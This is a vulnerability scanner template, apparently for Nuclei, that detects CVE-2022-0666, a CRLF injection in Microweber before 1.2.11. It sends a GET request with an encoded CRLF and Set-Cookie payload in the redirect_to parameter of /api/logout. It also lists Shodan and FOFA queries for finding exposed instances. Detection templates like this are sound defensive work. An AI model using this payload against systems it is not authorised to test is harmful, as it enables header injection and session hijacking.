id: CVE-2022-0666

info:
  name: Microweber < 1.2.11 - CRLF Injection
  author: ritikchaddha
  severity: high
  description: |
    CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.
  impact: |
    Attackers can inject CRLF sequences via the redirect_to parameter to set arbitrary cookies or inject additional HTTP headers, potentially facilitating session hijacking or cache poisoning attacks.
  remediation: |
    Upgrade to Microweber version 1.2.11 or later.
  reference:
    - https://github.com/microweber/microweber/commit/f0e338f1b7dc5ec9d99231f4ed3fa6245a5eb128
    - https://huntr.dev/bounties/7215afc7-9133-4749-8e8e-0569317dbd55
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0666
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0666
    cwe-id: CWE-93
    epss-score: 0.44259
    epss-percentile: 0.98631
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - icon_hash=780351152
      - body="microweber"
  tags: cve,huntr,crlf,microweber,cve2022,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"
# digest: 4b0a00483046022100a1cdda915c00d4d2806e26f06c920e4f8783039b70b7bcdff606caaa61c73882022100b5fc1ad4e0c8f76accd172bd7e499b09a75ead0ae55a843f1dce7e11e41776a0:922c64590222798bb761d5b6d8e72950